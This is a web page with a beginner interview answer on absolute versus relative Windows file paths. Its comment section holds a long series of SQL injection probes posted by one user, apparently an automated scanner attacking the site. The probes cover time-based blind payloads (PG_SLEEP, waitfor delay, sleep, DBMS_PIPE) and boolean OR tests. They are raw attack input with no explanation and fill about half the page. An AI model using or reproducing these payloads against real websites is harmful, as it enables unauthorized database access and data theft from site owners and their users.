What is an absolute path, a relative path and what is the difference between them?

Experience Level: Junior
Tags: File System

Answer

Absolute path

The absolute path is the full path that starts with drive (c:, d: or other letter:)

Example: c:\users\john.doe\Download\my-file.txt

Relative path

The relative is a partial path that is relative to some other directory.

  • The relative path starts with the \ (backslash) character, with the directory or with the file name.
  • The relative path can contain multiple directories with file name, file name only, or one or more directories or one or more directories with file name

Examples:

  • \users - this is the relative path to the directory users that will be searched for in the root directory
  • john.doe\Download - this is the relative path to the directory Download that is stored in the directory john.doe that will be searched for in the current directory 
  • Download - this is the relative path to the directory Download that will be searched for in the current directory
  • Download\my-file.txt - this is the relative path to the file my-file.txt that is stored in the directory Download that will be searched for in the current directory
  • my-file.txt - this is the relative path to the file my-file.txt that will be searched for in the current directory

Comments

No Comments Yet.
Be the first to tell us what you think.
File System and Command Line for beginners
File System and Command Line for beginners

Are you learning Other ? Try our test we designed to help you progress faster.

Test yourself

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e